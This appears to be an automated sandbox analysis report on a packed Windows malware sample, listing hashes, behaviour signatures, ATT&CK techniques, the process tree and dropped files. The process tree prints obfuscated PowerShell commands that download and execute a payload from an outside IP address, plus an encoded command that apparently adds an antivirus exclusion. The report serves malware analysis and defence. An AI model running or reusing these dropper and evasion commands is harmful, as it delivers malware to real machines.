3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea

General

Target

3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe
Size

979KB
MD5

c13f1a8cf97ee2f8c3c782e7e8bb717f
SHA1

02c0218bca2ce9801860b1b0793d8631d09b9933
SHA256

3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea
SHA512

79073289d8e9b902cbbb895164b7c1e06f18a8367d339b3f3d681170306882de436bcdb9eb3b73c69d4869e40f98138ad8b0d89e1709d2158dfef028b92b4f08
SSDEEP

24576:gYrxUgRM5Ybc9bKvu6DPiCskNxZsTB3O6vJV9XKEYoSNd64X:g1Cgb+DPitklsTB3vJLXY5Nd6q

Score

10^/10

upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://31.41.244.231/AVAVA/WAW/APPDATA/go.oo

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://31.41.244.231/AVAVA/WAW/Documents/go.oo

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
28	3916	powershell.exe
29	1988	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3116	Offer.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1368-132-0x0000000000400000-0x0000000000434000-memory.dmp	upx
behavioral2/memory/1368-133-0x0000000000400000-0x0000000000434000-memory.dmp	upx

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	Offer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3916	powershell.exe
1988	powershell.exe
3836	powershell.exe
3916	powershell.exe
1988	powershell.exe
3836	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3836	powershell.exe
Token: SeDebugPrivilege	3916	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3116	Offer.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1368 wrote to memory of 3060	1368	3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe	87
PID 1368 wrote to memory of 3060	1368	3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe	87
PID 1368 wrote to memory of 3116	1368	3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe	89
PID 1368 wrote to memory of 3116	1368	3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe	89
PID 1368 wrote to memory of 3116	1368	3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe	89
PID 3116 wrote to memory of 3836	3116	Offer.exe	90
PID 3116 wrote to memory of 3836	3116	Offer.exe	90
PID 3116 wrote to memory of 3836	3116	Offer.exe	90
PID 3116 wrote to memory of 1988	3116	Offer.exe	92
PID 3116 wrote to memory of 1988	3116	Offer.exe	92
PID 3116 wrote to memory of 1988	3116	Offer.exe	92
PID 3116 wrote to memory of 3916	3116	Offer.exe	94
PID 3116 wrote to memory of 3916	3116	Offer.exe	94
PID 3116 wrote to memory of 3916	3116	Offer.exe	94

C:\Users\Admin\AppData\Local\Temp\3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe
"C:\Users\Admin\AppData\Local\Temp\3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ""C:\Users\Admin\AppData\Roaming\Offs\KillDuplicate.cmd" "C:\Users\Admin\AppData\Roaming\Offs" "3060665914753be2ea1a6573c1e071336150744d8e26bb452eae4f5030d549ea.exe""
  2⤵
  PID:3060
- C:\Users\Admin\AppData\Roaming\Offs\Offer.exe
  "C:\Users\Admin\AppData\Roaming\Offs\Offer.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3116
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAnAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAJwAgACAALQBGAG8AcgBjAGUAOwA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3836
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='{BINGO}(N{BINGO}{BINGO}e{BINGO}w-{BINGO}Ob{BINGO}{BINGO}je{BINGO}{BINGO}c{BINGO}t N{BINGO}{BINGO}e{BINGO}t.W{BINGO}e';$c4='b{BINGO}{BINGO}Cli{BINGO}{BINGO}en{BINGO}{BINGO}t{BINGO}).Do{BINGO}{BINGO}wn{BINGO}{BINGO}l{BINGO}o';$c3='a{BINGO}dS{BINGO}{BINGO}t{BINGO}ri{BINGO}{BINGO}n{BINGO}g{BINGO}(''h{BINGO}tt{BINGO}p:/{BINGO}/31.41.244.231/AVAVA/WAW/APPDATA/go.oo''){BINGO}';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('{BINGO}',''); IEX $TC |IEX
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1988
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='{BINGO}(N{BINGO}{BINGO}e{BINGO}w-{BINGO}Ob{BINGO}{BINGO}je{BINGO}{BINGO}c{BINGO}t N{BINGO}{BINGO}e{BINGO}t.W{BINGO}e';$c4='b{BINGO}{BINGO}Cli{BINGO}{BINGO}en{BINGO}{BINGO}t{BINGO}).Do{BINGO}{BINGO}wn{BINGO}{BINGO}l{BINGO}o';$c3='a{BINGO}dS{BINGO}{BINGO}t{BINGO}ri{BINGO}{BINGO}n{BINGO}g{BINGO}(''h{BINGO}tt{BINGO}p:/{BINGO}/31.41.244.231/AVAVA/WAW/Documents/go.oo''){BINGO}';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('{BINGO}',''); IEX $TC |IEX
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3916

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
21b2515b8ce8a500003c74edc982a17b

SHA1
17edc69d4cf122da08d0dd7582626ae2379d4c60

SHA256
df4a9df4b79a2f364b99f24f682e0b9cd96ed7c93a56805bfd0dfd5d1330f66f

SHA512
97b9c3766126f2c5ac28554b880ffdeddc9eebfff903101c25ca58bcbce0b0e17a7e5fc15804ef2064a67b5dd009c3b339bd9bf9f9b56f591876d920a5d4320c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
0b9b16e9ebb1c0f5a966ce4840d8a694

SHA1
ed21e94ad30fc5177d1c34a7411ef3d43b1096a9

SHA256
6ada979d402c17a05fe93c3c17c2a5e692214fa2bb6a7938db35d47b062946cb

SHA512
ef6ad9aa5820c216879818461719da49d8f49b581a83b83b61def1a320ee219e3d760fc1390dc93e1492cf98ddf9cc7a449b766855e0f64c19b2e8fd3031b7dc

Download Submit
C:\Users\Admin\AppData\Roaming\Offs\Offer.exe

Filesize
7KB

MD5
fa4300da126da4a4ecf2c0d82dbe92f4

SHA1
3acbae61f796e7fad05ee9a875a9d3cbd6ec3996

SHA256
1ddbf6cb9e4c92e93118d8f2ca98922195cf683926777b2c160f5d05d52f3fd5

SHA512
d6922c07a9fc04d7c24ffdafd77651996224581b41f2d063a25d5fe1b786a89cf04b88447924f6fe11e9766b08ac97b1f50144a29c1d89d8198b68262c1ae6c9

Download Submit
C:\Users\Admin\AppData\Roaming\Offs\Offer.exe

Filesize
7KB

MD5
fa4300da126da4a4ecf2c0d82dbe92f4

SHA1
3acbae61f796e7fad05ee9a875a9d3cbd6ec3996

SHA256
1ddbf6cb9e4c92e93118d8f2ca98922195cf683926777b2c160f5d05d52f3fd5

SHA512
d6922c07a9fc04d7c24ffdafd77651996224581b41f2d063a25d5fe1b786a89cf04b88447924f6fe11e9766b08ac97b1f50144a29c1d89d8198b68262c1ae6c9

Download Submit
memory/1368-133-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download
memory/1368-132-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download
memory/1988-147-0x0000000005B40000-0x0000000005BA6000-memory.dmp

Filesize
408KB

Download
memory/1988-144-0x0000000004C50000-0x0000000004C86000-memory.dmp

Filesize
216KB

Download
memory/1988-151-0x0000000006640000-0x000000000665A000-memory.dmp

Filesize
104KB

Download
memory/3116-155-0x0000000000400000-0x0000000000407000-memory.dmp

Filesize
28KB

Download
memory/3116-139-0x0000000000400000-0x0000000000407000-memory.dmp

Filesize
28KB

Download
memory/3836-156-0x0000000007340000-0x000000000734A000-memory.dmp

Filesize
40KB

Download
memory/3836-157-0x0000000007560000-0x00000000075F6000-memory.dmp

Filesize
600KB

Download
memory/3836-152-0x0000000006530000-0x0000000006562000-memory.dmp

Filesize
200KB

Download
memory/3836-153-0x000000006FF00000-0x000000006FF4C000-memory.dmp

Filesize
304KB

Download
memory/3836-154-0x0000000006510000-0x000000000652E000-memory.dmp

Filesize
120KB

Download
memory/3836-148-0x0000000005A40000-0x0000000005AA6000-memory.dmp

Filesize
408KB

Download
memory/3836-146-0x0000000005200000-0x0000000005222000-memory.dmp

Filesize
136KB

Download
memory/3836-158-0x0000000007500000-0x000000000750E000-memory.dmp

Filesize
56KB

Download
memory/3836-159-0x0000000007600000-0x000000000761A000-memory.dmp

Filesize
104KB

Download
memory/3836-160-0x0000000007540000-0x0000000007548000-memory.dmp

Filesize
32KB

Download
memory/3916-145-0x00000000057E0000-0x0000000005E08000-memory.dmp

Filesize
6.2MB

Download
memory/3916-150-0x0000000007E50000-0x00000000084CA000-memory.dmp

Filesize
6.5MB

Download
memory/3916-149-0x0000000005420000-0x000000000543E000-memory.dmp

Filesize
120KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads